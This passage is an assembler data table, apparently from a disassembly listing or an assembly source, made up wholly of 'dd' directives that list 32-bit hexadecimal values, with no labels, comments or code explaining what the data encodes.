dd 3705C781h, 0CA0B52F8h, 12476141h, 905844EAh, 69C00093h
dd 4B278B4h, 0CF0763ABh, 0A184FF6h, 86C8EC61h, 9D4517F5h
dd 87108121h, 3BC9548h, 5F0D951Fh, 151D24EAh, 10D8F98Bh
dd 77CBB60Fh, 7F3E0EF8h, 348003FEh, 0A0633665h, 2230EA52h
dd 8C670901h, 0BA068AD9h, 96A01A30h, 14C43A42h, 0E9062A2Eh
dd 0FC03310Fh, 0FE61C5E3h, 0DCCDE805h, 0C67E3Bh, 0C48CBA52h
dd 8283B55Bh, 64EBC318h, 9BFF932h, 6924D14Eh, 0B8805703h
dd 0E0680C6Fh, 8B3B8C87h, 3F0FCDEh, 53F893A0h, 710011EAh
dd 572D8C20h, 56C59Eh, 0A0C11A40h, 0E7328468h, 0E4369167h
dd 0BC4B65D0h, 0C32A180Ch, 92941608h, 0F9688B00h, 90CC8C58h
dd 7DE95003h, 0EBAD013Fh, 0CFA526CDh, 0D1222061h, 5A62FD0Fh
dd 2602AF84h, 12F078Eh, 0A106E482h, 9E4B532Eh, 0DF806102h
dd 10C694EDh, 62D10C8Ch, 8638EF84h, 6FEA0F44h, 34E00B1Bh
dd 0F5C5B7E9h, 0EFE58D01h, 7EEAF6B6h, 76BA3264h, 0AFF73E7Dh
dd 32134700h, 0E78001E8h, 7B0E7990h, 9E1CC9D0h, 3A256500h
dd 9B8FD8h, 1DE603E8h, 639318DCh, 0D0CC7F2h, 39F86476h
dd 31CA00E2h, 40A35C1Fh, 0A004CA8h, 4262361Eh, 609FC4C3h
dd 2EE72806h, 0E5E8A4D3h, 3C061D7Ah, 0FC643E2Ah, 75F90049h
dd 0C37121C7h, 0B12E1570h, 3B27D7h, 6E802BF3h, 0C2C6963h
dd 0A4578B71h, 6800E189h, 708650C6h, 0C395CF93h, 24397718h
dd 85F6790Ch, 90058022h, 71EE6FCFh, 0F0998F8Dh, 0B03EF19h
dd 0A9189F2Ah, 4D82F006h, 0FB2514B3h, 8C1118F3h, 4287C1Ch
dd 8E210CE8h, 80FC101Dh, 9F5A09DCh, 66FE060Bh, 710E6D8Ah
dd 7D991415h, 48DB00BCh, 479F1A8Fh, 0AE4400BAh, 5B1C3F7Ch
dd 0A11466EFh, 10C45FBBh, 7E1405A4h, 8A0C9C2Bh, 8E510C6Eh
dd 4FCA318h, 24280620h, 20A9251Eh, 47460F44h, 0D8B86930h
dd 0F4288B70h, 0FF3094B4h, 1AC4898Fh, 6E900B6h, 5D42BDB8h
dd 7E00D227h, 8D921CB1h, 0E01F615Bh, 43851804h, 9F5DA041h
dd 1DF93018h, 0C767258h, 1F6A8A8Eh, 2A54EE99h, 0ED00AF8Ch
dd 0C2D974BCh, 0D724B9h, 0F6B7AA5Dh, 0ACADCC6Eh, 209A9800h
dd 15044199h, 908152A1h, 69674700h, 8A0948D9h, 9B15A8A0h
dd 74A410A0h, 9036DB30h, 48D8D392h, 641530ECh, 0D73A80F4h
dd 3B853C83h, 0B8985A6Ah, 0DD0F3098h, 91961594h, 0C2F0DB02h
dd 8C8190BFh, 48493DA0h, 0A3148FE0h, 0CB0117Ch, 0E11AD126h
dd 3EC6EA23h, 0FE9F3D12h, 0FC9C04Fh, 0F7ACF9EEh, 16889700h
dd 0D39350EFh, 99FC64D4h, 0A93441F2h, 0C5205D76h, 0BDB0A0Ch
dd 0C1ECC34Fh, 0A2D0AB2Eh, 3A38FC39h, 29D3987Ch, 60FF55F0h
dd 0E99BC184h, 0F600D947h, 8B7DEBF5h, 793A0A70h, 0B371C064h
dd 0A5BA1A88h, 38776C1Fh, 0B56980FEh, 73C16074h, 0E3C32475h
dd 67681A0h, 0D07C66E2h, 2844EEABh, 5C7E78E1h, 3700BB69h
dd 7436452h, 6B3DD2B4h, 30A800D5h, 84776746h, 3E7F30A4h
dd 81FFB2A8h, 7AD24788h, 0E8A514F2h, 0F3BB008h, 0E36124B0h
dd 0D33BD52Bh, 84E080F2h, 0DBED5597h, 929F1421h, 4D00F6FFh
dd 48BBF787h, 0E026D30Fh, 88B95007h, 2B4F493h, 3FC63899h
dd 7AE74C40h, 2C422606h, 669322Ah, 0B89D0816h, 40AA054h
dd 0F894D1FCh, 0A15D0F9Fh, 6F8B7243h, 9A500382h, 500A5C3Bh
dd 6D5240C7h, 0B400A7ADh, 3146788Bh, 0E3CE11h, 72C4DF39h
dd 1B3B49D7h, 0ADC2E107h, 5E390A8h, 31ECA0D2h, 0E76B03F0h
dd 0EED74E66h, 2D98108Eh, 976C3700h, 145A316Eh, 0F15D004Ah
dd 0D91B4349h, 0BC00F065h, 0B972E8FDh, 283CD891h, 0D016A8h
dd 4B5160A9h, 0FE74155Ch, 360AAD2Eh, 802F290Ah, 0B875D00Fh
dd 54FF64F8h, 70808Eh, 3BF04096h, 771867FEh, 0F9C21701h
dd 60ACC799h, 903DE2CCh, 0E4D22F0h, 94A4BC91h, 71D1108h
dd 8317E6B8h, 10121FB5h, 24358AEAh, 3B6BD004h, 899C1404h
dd 2F242004h, 52663740h, 8A09CCD4h, 8020076Ch, 4E70AC01h
dd 0CE76B301h, 0FF256642h, 1A305863h, 686D2F29h, 81488200h
dd 32A7EFF0h, 0DA99039Ch, 52928014h, 20269899h, 0C8003C4Ch
dd 353A7608h, 9B5CD71h, 0C3E3BE4Dh, 0CC9B3084h, 8288F720h
dd 0E4800066h, 9427414Bh, 6C0136B9h, 0AE98EEF4h, 0EC32D111h
dd 0CA6A0078h, 0BEA54CAFh, 1770B3A8h, 0A00DCC2Ah, 9F3A5203h
dd 0B29EFE3h, 0CE562EF1h, 0E2C67700h, 0F000B4Bh, 1CF856Eh
dd 0ECE1349Dh, 244992Eh, 14A8D307h, 68940404h, 293FA404h
dd 0DB769B00h, 0BB28A370h, 963EC081h, 5867AC4Eh, 878EEE10h
dd 27770591h, 608990F7h, 0F0F4A835h, 38490623h, 39FB64DFh
dd 0EB40B20Fh, 0EAE62061h, 75CE8Fh, 0EC25422Ch, 0DC322B6Ah
dd 0A979F813h, 9486AC08h, 38003C64h, 0C5A024DEh, 4B08E685h
dd 0A8A888F7h, 0A592028h, 25D6B705h, 0E0936BFEh, 8AE6C0DFh
dd 0B9816669h, 872241FAh, 7A0E0388h, 4A9F15B1h, 0CCB81075h
dd 6224A491h, 9C0B100Ah, 0CA6B7300h, 207D0436h, 0CC5032EFh
dd 71D6E3B0h, 26AC8014h, 2808FCE6h, 9FDC0409h, 1FEE4607h
dd 955F0079h, 6CD565DEh, 15041824h, 8A937509h, 94A17891h
dd 3E748C15h, 0F37ADE00h, 0BC5602EBh, 6165004Ah, 882C8D7Fh
dd 3E00FF87h, 0E7E6E49Eh, 50C9183Fh, 99AD8C21h, 2294A848h
dd 65121770h, 443075A0h, 421EFC5h, 0AD081A09h, 0DB7C802Eh
dd 0C734BB72h, 0C88C40A1h, 9D4F006Eh, 67225D1Fh, 0E0C883D8h
dd 0B58A8026h, 98A8EB9Fh
dd 35657E00h, 6D55117Ah, 188D06B3h, 0D9ED6466h, 27546E00h
dd 4A8F6B31h, 0DD0309Fh, 6D69CD91h, 6659CE01h, 7FBB70D7h
dd 2108CA4h, 3C8784AEh, 41A16B00h, 2BCA049h, 0B8008328h
dd 0A68A69CCh, 0DDC70FEh, 0BA8FBB74h, 5BA4EC41h, 1972944h
dd 77C9A85Eh, 0F9A76D08h, 9BB870D6h, 4D028642h, 678B0D91h
dd 1566F890h, 9484C3Eh, 80E8C4A3h, 7F9D0400h, 48509A2Ah
dd 0E310B474h, 12C8012Ch, 566F9D07h, 0A1011087h, 0D3467408h
dd 593C0BB8h, 8465A89Bh, 4910470Ch, 412201Eh, 0E9389FC6h
dd 0DF0CD007h, 95321847h, 218F4139h, 0F4A148FEh, 0AF615BBBh
dd 0D07DC8F0h, 59486C22h, 0B45CD50Fh, 0D1356446h, 0D838E017h
dd 9CD32470h, 80A8A001h, 8B230261h, 178FF705h, 600A044h
dd 4F0FFEB4h, 55A315B0h, 239893h, 0D0D37203h, 0C7B01230h
dd 33071D2Ch, 294E1B4Ch, 23E8F7D0h, 1B0778Ch, 1113E70Eh
dd 819947BBh, 0E04614B8h, 0F030E810h, 0EF1540B2h, 8E812560h
dd 31BED5h, 41DD7859h, 766870B6h, 8C002AB8h, 0DCC20B51h
dd 0D5621FFh, 7A868AF7h, 0A9B6E738h, 8BBD4E07h, 1DF0609Eh
dd 0EC3370A3h, 8CC0AEEh, 8E64E5D3h, 41A0DBC4h, 0E136DE8Bh
dd 1798A00h, 0D13C9E06h, 7FB00953h, 1C027C07h, 6423899Dh
dd 424107F1h, 0D0363B73h, 1EF4BC67h, 7504BCA0h, 8343724h
dd 6A936426h, 0D4C84063h, 24204812h, 0E56D3E80h, 0B61FF4h
dd 5326C66Bh, 51DA0DEFh, 0E8B750Ah, 7422A0B5h, 4E17230Fh
dd 0C490A02Dh, 0F6BEC2Fh, 4F09A29Ch, 0E8049F4Eh, 0DF248025h
dd 77349B93h, 18827826h, 0FC7C1013h, 0C89EB73Dh, 43BB106Ch
dd 54406631h, 44CF0238h, 694724E0h, 56720078h, 0FE5FE3A1h
dd 27918760h, 1257D5h, 0C5DBE880h, 0D441A322h, 237D060Ch
dd 0B5F5833h, 72143C97h, 4011DC24h, 68608CA5h, 2FEB0786h
dd 41E2B16Ch, 8B30D950h, 92981420h, 0A83E880Ch, 0ACD6F041h
dd 72197DDCh, 0B1FC987Ah, 0F6D842Ch, 80600B28h, 3AF05FA8h
dd 0C37217F8h, 4C5FDFh, 0D7240866h, 8B1470AEh, 30C80BBh
dd 0C2B29BF7h, 0AEFFA172h, 8D408704h, 0A4C1880h, 0FF88E909h
dd 0B978987Fh, 0BF9701C1h, 6977A479h, 38B422EEh, 24FD2425h
dd 36034D93h, 3D36D0ECh, 12039D39h, 9842EE01h, 8952B2F0h
dd 0DC5B482Eh, 1E131960h, 0CEE00224h, 0A8DD251Ch, 0B1A2E280h
dd 4002DB47h, 0EBFF8AE9h, 0BF84C0E6h, 825D03CAh, 3972F465h
dd 74C2ED9Bh, 4820049Ch, 654900EEh, 0E59432ADh, 9A01E9D5h
dd 3F6C7ED8h, 199D6D2Dh, 0C240C65Eh, 2309404Dh, 81BCFDC9h
dd 0F05DF677h, 67E5EB40h, 7F48001Ah, 0F3493EDDh, 1F604D33h
dd 0EDE9D140h, 1858DFAFh, 0A7926818h, 20638280h, 0F8006705h
dd 89CDFD0Ch, 1EA770Dh, 0B4C6B29h, 30B26F1Ch, 0BC1C9470h
dd 1FBBC95Ch, 850F470Eh, 367D065Fh, 0C20A0A10h, 18744A05h
dd 0EB0D0844h, 74CA013Eh, 0A60F500h, 0D395C048h, 89E261E9h
dd 9E4CF9C1h, 73002838h, 484A6104h, 30EE725Eh, 3D298EB6h
dd 8CA88165h, 0AD187CD3h, 0B8715EEDh, 8CC55091h, 88052EBh
dd 0B84A8D15h, 4187AC42h, 2A00C8E9h, 0BBAEBF7h, 42E8C50Dh
dd 79C818CBh, 8B0C8EC0h, 2107BAF3h, 0E94E15EDh, 7F05E8F6h
dd 42A1CB88h, 91C16218h, 78F38CA0h, 441A5EF2h, 33B1C441h
dd 36F5BA94h, 0F30A74FEh, 0DCB65FB9h, 752B1540h, 0C41C04Eh
dd 0F3B5B1DAh, 88DC7650h, 0E25C96E0h, 1AEE03F5h, 1415526Fh
dd 4CB16AB9h, 40DD6806h, 6EB0885Fh, 14D19E60h, 1D2A7A49h
dd 724748h, 0DE3AF84Ch, 0A305BBEAh, 32FB67C6h, 4BEDD840h
dd 6064C482h, 36D31149h, 7C0CD802h, 61083F44h, 807B50EAh
dd 38D88BE5h, 170AC626h, 0D067F34Fh, 4C2E2F85h, 40C02868h
dd 68DE74Dh, 58BFB43Bh, 0D0C2E92Ah, 8D43E00h, 9ED98642h
dd 2ADDE872h, 0BA069C9h, 3CA3CBEAh, 3C2D0B85h, 0B40C3840h
dd 3966CADDh, 0F62807F7h, 0A01367D3h, 0EAB72747h, 0ED0307F9h
dd 95281A6Fh, 3C373175h, 0C764405h, 8BC1A442h, 193C449Bh
dd 311A64C3h, 88344AA4h, 967C5E20h, 0F5285700h, 113C95Ah
dd 5D1C046h, 0D4E095B5h, 6302661Ch, 74489AD4h, 9591BCADh
dd 8067C4B0h, 892091CEh, 3F080779h, 0F04EC815h, 4E3998ACh
dd 61C363F2h, 0A9219435h, 6E9A08FEh, 745CCA00h, 0C273C7DFh
dd 0EAB6F371h, 0C1ECF440h, 0A1586E03h, 0ECD0758Eh, 1C924C7h
dd 0B5AD1B70h, 0BC304CC1h, 6A81C0D7h, 647737Dh, 2920F853h
dd 8D0FBCA3h, 2830B96Bh, 0C73D9C24h, 97155008h, 0BFAEC146h
dd 7A102455h, 0FEDA6A40h, 4D3C00A6h, 5DA32984h, 98004C9Fh
dd 37192E7Dh, 3DCCF4B5h, 0FC96A296h, 208D0083h, 63DED97Bh
dd 27300100h, 0C25447A4h, 6BAA0BD5h, 7400829Ah, 0A7F80E1Fh
dd 0BA6DAB00h, 78365292h, 241518E4h, 0FF6940C9h, 282C20h
dd 8C34C24Eh, 0CD82C765h, 350022E4h, 0D0A99C05h, 1CDF5696h
dd 40E47412h, 54DA7B60h, 1800FF6Dh, 3830A602h, 0B8C3391h
dd 0E888C757h, 4358012h, 2F82A5Fh, 25905343h, 0D8406596h
dd 230092EAh, 0ECB404FDh, 2E61990Fh, 1DBB2Eh, 0E8C96A15h
dd 0FC0372DFh, 2B967429h, 0A8400154h, 0D249605Dh, 835CCC5h
dd 0F6A9A500h, 361B6FADh, 3E27006Ch, 9F298C3h, 2810FB17h
dd 8E39A440h, 5C9D90h, 181AC5E4h, 0A9A7F6h, 525D91D4h
dd 9358011h, 3E856A01h, 19FB62E2h, 0F2C96E4h, 912BAB0Ah
dd 0EE5260C0h, 18263077h, 0F51238F4h, 0BA942Eh, 37833841h
dd 39A5BA7h, 4CC4E77Fh, 0A9F0F635h, 6F0095D7h, 0F27402DFh
dd 1D87200Ah, 9E63D9EFh, 46E3C0FEh, 0A32C7B54h, 48D2981Ch
dd 17239EC0h, 0B77305h, 20669FC8h, 6D4BACFEh, 0E97D0600h
dd 0F2057115h, 46E13874h, 0A62D918Dh, 7F98DF40h, 0F000351Fh
dd 99CCED72h, 1A315Bh, 5C0AE6BBh, 7109DCC9h, 22CFA0Eh
dd 914000E2h, 988C29h, 80CD4C9Bh, 68F0031Fh, 0AA8C7559h
dd 0EF0006FCh, 37C24D44h, 9A6AABh, 1D90E845h, 0A66933FEh
dd 59991B10h, 0BE38A00h, 0E1ED7B63h, 2D05D500h, 4D42A603h
dd 0E22C3F77h, 0D348CB07h, 0F4369195h, 0D0C8CB9Eh, 0FF015561h
dd 7909EABAh, 0AF61E98Bh, 706719C0h, 905000DFh, 0B459A134h
dd 0C50ED475h, 0E0370B2Eh, 709E21A9h, 0BB100030h, 881FD6E8h
dd 610715DCh, 0BA282903h, 257A2D00h, 0A198008Fh, 0F182CC49h
dd 0A805F60Eh, 73D0BBB2h, 2E76AC82h, 6FDFC29Fh, 8892F005h
dd 67FF0437h, 750300F6h, 80028F1h, 7004DBA2h, 2974DA7Fh
dd 5434EE24h, 0F5760100h, 0DA9AD5D8h, 75720015h, 0CE3954DBh
dd 0F6560829h, 1C33701Ch, 0E0F3101Fh, 0C04B0605h, 80FD3D21h
dd 21E0D58Fh, 28CCEA0Eh, 87368820h, 0F081050Ch, 62D0DD24h
dd 2A49C100h, 6770470Eh, 8CF718EEh, 8BD469C0h, 7A3FF8E3h
dd 75682A0Ch, 0C0CB08AAh, 8B940221h, 0D23DD4BBh, 3D775CDDh
dd 62BC0047h, 9AF60A9Eh, 0B9686066h, 32B1754h, 0CA1719ECh
dd 30C3F54Ah, 33210036h, 0BEDC2B0Fh, 9900616Ah, 470DD439h
dd 6037BAF3h, 0D8ED5848h, 2D173F6Dh, 9CC77589h, 0FB9DD090h
dd 30B51BEBh, 0D1D0E94Dh, 6C7132C1h, 319F305h, 1C3240FCh
dd 209C05C6h, 994D49B0h, 0E500DFF4h, 9618785Fh, 28B14A65h
dd 0C6C3AE3h, 42755923h, 0A12A6A10h, 7406A0A5h, 727969C3h
dd 0F8D1F480h, 0A02295C5h, 281936F1h, 0B0B96011h, 0C514E8D4h
dd 0C1486766h, 0C9EED3D2h
dd 4D3D4004h, 0D3012401h, 83D46AE9h, 0B9630F18h, 180EEF5h
dd 0F3305BFBh, 2405C261h, 9F03DE08h, 0ED34BE7Ch, 0CE40004Ah
dd 60305C04h, 0DF2F4425h, 2220ACCCh, 5C2AFBADh, 400350ACh
dd 288C9DE4h, 569A2B0Ch, 3922E401h, 2B043400h, 4D48C39Eh
dd 793D62E9h, 0B4A7C78Dh, 1F8430BDh, 73001856h, 0E3D4B20h
dd 980602h, 0B8C515FEh, 96177AD3h, 0F2C40403h, 1F3C95Bh
dd 8E455991h, 80C88DFEh, 57370551h, 1E45F63h, 8F4EB224h
dd 80C58A6Dh, 0FF36FD21h, 0F41D0DEFh, 24920084h, 0BC398191h
dd 16158B32h, 1DCCDDFh, 8915045Dh, 8820C40Eh, 920E8CFAh
dd 913EFB8Bh, 0FF87CD88h, 0AFB08B9Ah, 0E7EF8Eh, 2AA3869Ch
dd 74795FD6h, 3695224h, 5E7FBC01h, 402ADDF9h, 0B301CDF8h
dd 0F209611Ah, 5068C048h, 0D65EB8h, 0B3F9A4F8h, 0A001782Dh
dd 8E630653h, 9CC076FBh, 0CD5D06B9h, 58C9A8CBh, 0BBDE0521h
dd 610EB384h, 20D36212h, 0C5B3FDA8h, 689C700h, 0E9D11649h
dd 309C4840h, 19551D05h, 8CE04448h, 0AA5C43C4h, 0A6B0B04Ah
dd 0B2EE6Eh, 0AF3A5103h, 0C68D63BFh, 0C03B29C0h, 0EC5A2Fh
dd 8934452Dh, 0B2A4E957h, 0B43830F8h, 783C24D7h, 52197D80h
dd 1AD3632h, 0C1734D5Ch, 0C476FA0Ah, 0ED0257A6h, 4F9E17FBh
dd 0E8FABEh, 0E6C9AFB7h, 83D35E2Fh, 34E86702h, 48BADA99h
dd 0E7912D9Ch, 0D1B65F00h, 298FC4Ch, 0B5B9C315h, 0A7284020h
dd 10342842h, 8014BCCCh, 0B367A497h, 0FB04DD4Dh, 72C6DF05h
dd 5FE6EA40h, 61F8481Ah, 26E1C918h, 3EFA48h, 95FEE735h
dd 0B74F4E5h, 0F01CC9Bh, 0F0D58D81h, 0F706030Eh, 0E8276B80h
dd 0C039FF9Fh, 0B3DF3E19h, 7700F856h, 35F38E8Ch, 0D64250h
dd 7501D7B0h, 4EFAF7C5h, 8CBBBF2Ah, 4C9DF8C4h, 0A6B1CB01h
dd 0F58840D6h, 2B64C9DEh, 90888DC9h, 203C0025h, 0B5BEAE4h
dd 0FA0019EFh, 29BB88E9h, 440828Ah, 413F48F6h, 831C90BDh
dd 0F2197BCDh, 5DA996D4h, 3BA2F833h, 39C1C931h, 317A1320h
dd 0AAB03A1Fh, 608004E3h, 0A1F615CAh, 1A189330h, 71FC2B70h
dd 2650448Ch, 0DE2B1203h, 986CD695h, 0E23582h, 888DEB08h
dd 0E772D1D5h, 53F368C0h, 0A99469B1h, 0FB180FDCh, 0D5918004h
dd 40322210h, 81030A21h, 0BDAEACCCh, 1E3CD100h, 0EB142D90h
dd 5C3F552h, 939888BCh, 12494082h, 0D2C30461h, 9D565F01h
dd 0DC255479h, 54BF448h, 26AC8A00h, 0E127399Bh, 0EC9D0020h
dd 7DC82FB4h, 5603DEE3h, 4F79337h, 4360203Fh, 15FA0301h
dd 31F5C163h, 2CF45020h, 8200584h, 7409CE2Eh, 0B5AC8308h
dd 4759FEAh, 80FC7C20h, 0F0D56890h, 44917Ch, 0D981041Dh
dd 1DE2910h, 0BE97DAC1h, 0F70FC960h, 638C703Bh, 987828D1h
dd 3E9DA943h, 0FBBBF0D3h, 2418C382h, 9C406F5Eh, 0B8C255E5h
dd 0A40EE988h, 0BC820FCCh, 0F89B2069h, 6803A991h, 8D766362h
dd 8C6105C1h, 87709DA0h, 5807F80h, 646CA484h, 0F78634Dh
dd 80A87D32h, 6274D372h, 57491330h, 0B7E0403Eh, 7822E29Ch
dd 84F49629h, 0BC183579h, 9F9FF338h, 0B205591Fh, 0FC0135BBh
dd 2921A160h, 42C18840h, 93DF2C06h, 80F79100h, 6114B3FFh
dd 0D2448CE2h, 0D4F74CA6h, 1BF04C00h, 0A04EEE1Fh, 349918F8h
dd 0F31835D1h, 8D59C500h, 32D1D37Ah, 68229DD4h, 2C083CB5h
dd 0E43465Ch, 493218h, 5BAB6E8Ah, 0BB840169h, 61A16B02h
dd 75844030h, 6E5E64C3h, 8DFD3802h, 0A29A20C8h, 4E004FBAh
dd 8851E5D2h, 1115C3A6h, 3B0117h, 4362DA23h, 36AD54Fh
dd 9CE33FABh, 0A4E8152Dh, 8448D319h, 4C884E98h, 0EA55E429h
dd 66D8C91Eh, 2DB22810h, 7848E16h, 3F0E7C02h, 55E85275h
dd 5ED0C062h, 9897049Bh, 973F0BB7h, 0CF33F018h, 80150C69h
dd 9CE4F65Eh, 6113B302h, 10D931DAh, 6B3F8A3h, 0C199B916h
dd 6F48A0CDh, 4E18DC18h, 0B86C5BE9h, 59830016h, 0E0DCA3D2h
dd 183A932Ch, 0C95D0AF6h, 4701D18Ch, 8DEEC397h, 5C393830h
dd 892302Eh, 0DC19898h, 9D9052Bh, 358FC833h, 77C22BC3h
dd 31BDB5F0h, 98693401h, 6618F33Ch, 0A800F072h, 87DE0814h
dd 0BA012B88h, 867CF91Ch, 94FC27F1h, 636F02AFh, 933097DDh
dd 0DE1EE860h, 829D40B1h, 30BAE420h, 9AB02F07h, 0F230E9D5h
dd 631728BBh, 1D4BC9h, 4EFF500h, 0D37035A6h, 4E90C454h
dd 8004EB5Ch, 0C793C1AEh, 0D59E0322h, 50062068h, 8ED42900h
dd 0A14108B8h, 0EBF60075h, 351FD368h, 5E21C4E0h, 52C10B48h
dd 800E1CA1h, 0BC7C283Ah, 0C1018C3Ah, 0DF6EDA14h, 0B8F0E59Ch
dd 0B0F4ABCDh, 812A055Ah, 0A2B02395h, 0B9E13042h, 55008876h
dd 0DEFB47ACh, 24158E97h, 416CCDDFh, 0F2A026AEh, 3E5F2FC1h
dd 0E9EC484Fh, 0E91C872Dh, 1F18EFA6h, 86FE1E47h, 9845B7B2h
dd 12675F00h, 0A24CE87Ch, 4B892C47h, 0D1D31294h, 0D459564h
dd 3C615CEBh, 0B8CD2BCh, 0A60C56D7h, 0FE17A480h, 5B482075h
dd 0F41101C8h, 0F8EE676Fh, 9FDDC028h, 823F888Bh, 1950170h
dd 3FD1078Bh, 336BE13Ch, 450D0B1Ch, 0F88007B4h, 0DE9438E0h
dd 719E3A27h, 0F3336C01h, 4CEF53E0h, 490114D8h, 0D0E6A519h
dd 0B3424C4Dh, 2487637h, 2F21B961h, 3DEC2052h, 288818Ch
dd 0B3080418h, 0C4FA6117h, 0FCA740D1h, 0DB8DB3h, 714B8B0Fh
dd 3AECC687h, 5AEB9009h, 60ACC0B5h, 28FD59B9h, 8342ED09h
dd 3EDE5C41h, 4810424h, 75073981h, 9367830Eh, 1C75C498h
dd 760714E2h, 0C30A1024h, 90405305h, 0C717CCCEh, 0FA23008Fh
dd 4AFC0BFFh, 6894CB65h, 0FA600644h, 0D5239280h, 4111F8h
dd 6B81020Bh, 7958DAh, 27BB4A7Ch, 6630A473h, 61C4000h
dd 0EDEBC7B8h, 414E52h, 9BE89DB0h, 0E492BF60h, 550122h
dd 6DC57D5Ah, 5D864E89h, 8A83F58h, 9594107Bh, 0C29DB803h
dd 26118B3h, 0FBAA001Ch, 0CE958CB3h, 590064BCh, 9B50E237h
dd 0FE92CDh, 1723B216h, 5D4985Eh, 0B0758E29h, 0E0BB6C0Eh
dd 76BA35FDh, 14D83989h, 1118CEA6h, 2B0E8397h, 6711B204h
dd 63200B8h, 5B4BC32Bh, 3E210F01h, 0EA4F1DE4h, 3A7E7822h
dd 523B7B2Eh, 1CE843B6h, 50CBF924h, 774AC103h, 62181CE1h
dd 5D550B9h, 3D74B46Bh, 2A2901Dh, 3E825F9Dh, 0E8A7AD65h
dd 637BE273h, 276C088Ah, 4291289Dh, 3B7A7EC0h, 62268415h
dd 0F33AFFE6h, 8F10DF4Ch, 0FBAD8329h, 0EA41D048h, 4C889097h
dd 1610FC99h, 890E04C2h, 0A882EBFEh, 520C0E34h, 92E4CF69h
dd 3D05F972h, 161F21C0h, 1832BF17h, 44C8C709h, 0EA2F60D6h
dd 0C01B5C6Eh, 49BDD117h, 90688C1Ch, 4000C070h, 9DB6C4Dh
dd 0AE66D1h, 0EFB01C99h, 5D3EB357h, 5CC0A95Ah, 585E1504h
dd 6D0025BCh, 6E484A69h, 4B03E808h, 748436C3h, 7890ACB2h
dd 126D968Dh, 42C88D6h, 1E2EB984h, 0DDE9D107h, 0CCC06BE5h
dd 8068A15Dh, 0C411855Fh, 0D4055E69h, 0BF66E9h, 43107580h
dd 0C456DFF3h, 9C01208Ch, 701D438h, 3E930B99h, 4CF3555h
dd 413FFD80h, 60684EE4h, 399EAE43h, 0CDD50FBh, 0E2F53E80h
dd 5786381h, 24D37CB1h, 0BB03A21Ch, 0EB42D14Eh, 0F020F5F5h
dd 0E692D7h, 0E790AAFFh, 8615AB0Ch, 6B9CDB16h, 95A12418h
dd 12D12753h, 33F36800h, 58944D31h, 0E0246BEh, 0D8D58E81h
dd 7005067h, 602680F6h, 0D78A0067h, 0CE85F018h, 43513FF8h
dd 0C599FC64h, 0FA4CB89Ah, 12034888h, 14CBE5E0h, 0EECE36C8h
dd 8E6F25D9h, 91417781h
dd 1838074h, 896BA0A4h, 249EB9D5h, 0EF261588h, 94112C8Dh
dd 12B1983h, 373169B2h, 2B112910h, 3EA66109h, 0FAB002D8h
dd 64BD03C0h, 0D304B0FDh, 551E821Dh, 0E8107458h, 918E7AC0h
dd 18D27914h, 5F81005Ch, 8A60AA18h, 690F10F6h, 0E09F928Ch
dd 27EBFB03h, 2118B84Ah, 4114CC1h, 0DB3F680h, 448C0A61h
dd 0E0EADD0h, 20E5E4B3h, 7512B6C6h, 48F54F70h, 13C1960Ch
dd 79F9FF2Bh, 27B0506Ch, 73072B0Bh, 52335BA5h, 315547D1h
dd 54998C48h, 0F83D983Eh, 0CD224041h, 0E75A625h, 0DEE45E4h
dd 3C604CD9h, 0AA3E2EFCh, 40D1C44Ch, 0CF8B9E34h, 0A16B2E43h
dd 810D1742h, 0D23B6418h, 5C63CC00h, 0FE380CB7h, 97F987DEh
dd 62D1D309h, 6B90A3C4h, 69383B20h, 0F517E744h, 58011B98h
dd 4E51351Fh, 729BB083h, 0B9CADA5Eh, 0F3256C52h, 0A4F0AA53h
dd 0DF1A08h, 97053315h, 7531D20Ch, 0B5E58ABh, 6DE06866h
dd 1F004D65h, 5E67CE4h, 89F56687h, 0B8307C5Eh, 0C1388CCEh
dd 8178009Dh, 9AE86433h, 0CB310B40h, 546068B1h, 0C935DEC1h
dd 0DCCB695Bh, 0E8C038C8h, 4C354859h, 38FC2861h, 94C5018Ch
dd 0A51B4906h, 8CD1E608h, 0DF183AD9h, 9B048900h, 61EB08F3h
dd 854AB9h, 633F44Ch, 274EE84Fh, 10605814h, 751A46B5h
dd 48C74924h, 0AB633844h, 0DE19C003h, 2A27C2EEh, 17C8FB68h
dd 0C2094CBFh, 0BC470844h, 43603C44h, 153DAF2Ch, 2D597ED4h
dd 4FA004F4h, 4CB044E9h, 5930385Bh, 3A9C0860h, 3CB6DBDDh
dd 0D7E99240h, 0F2992FD5h, 1B479081h, 0B8406DF6h, 0A1EC0050h
dd 9A312EE9h, 0E75A4F65h, 63C35C44h, 0D10B10E2h, 0C8E8C7AEh
dd 828254CDh, 0D9D84244h, 72EA1158h, 0E813B22Ch, 0EC028D93h
dd 0F67DE88Eh, 8EFAC474h, 0C0518858h, 253CB12Ah, 287B9300h
dd 622D98C7h, 38843D69h, 0E84806AFh, 301AF59h, 49020DEFh
dd 14FC4F17h, 0F440F598h, 0FCFAED10h, 6B66309Eh, 4A6C6861h
dd 0F28D5B3Ch, 0D158121Dh, 0B4FAFC80h, 17BF8F35h, 0B4038970h
dd 99909B10h, 4723CD01h, 0BFE74EEEh, 0CC13A054h, 1C818825h
dd 0F2EB3Ch, 165BD383h, 0B82F965Bh, 14073923h, 988BD097h
dd 0B18ED300h, 0B06549D0h, 2B604064h, 0E300E60Eh, 8C09070Ch
dd 256F4EC1h, 30978285h, 4980D311h, 0B0F63328h, 0F4042228h
dd 465EFCBCh, 6D9600D1h, 280D26B4h, 921F0318h, 0CFE998EDh
dd 204D47CAh, 0D4C2DFE0h, 0AFBF0065h, 0CFDE8026h, 0C12F610Fh
dd 0FA8C80E5h, 16D318F4h, 2F801685h, 0D623D8h, 101DAFE0h
dd 9403695Ch, 0C9258BF6h, 0D1B94F59h, 7BDE0238h, 40489C4Fh
dd 6B313644h, 0E0DD30A6h, 8B57AE19h, 301CE202h, 0E0931870h
dd 4F4CC82Ch, 0FE480991h, 3611789Dh, 0D5DB9180h, 0C0097C3Ah
dd 1A4D52h, 31A785D8h, 0CD3C01A9h, 8C112068h, 3059CE02h
dd 2818D579h, 0BEBC121Fh, 779FDF80h, 6D2EF67h, 6D53F48Eh
dd 6892C06Ch, 615B940h, 71925B69h, 3F02C2B5h, 594B29EAh
dd 42056F5h, 0A82DC962h, 5173063Ch, 2E18465Dh, 8B49EE2h
dd 5C4A5EC4h, 6D6465Ch, 0C24E8FD0h, 80D17CA0h, 4213AC62h
dd 74CC46FDh, 177B765Fh, 0F540FBBAh, 0EE25F844h, 0F6F86182h
dd 8B088E18h, 0C4723F0Fh, 96FB40D7h, 845F8Bh, 0CBA59E81h
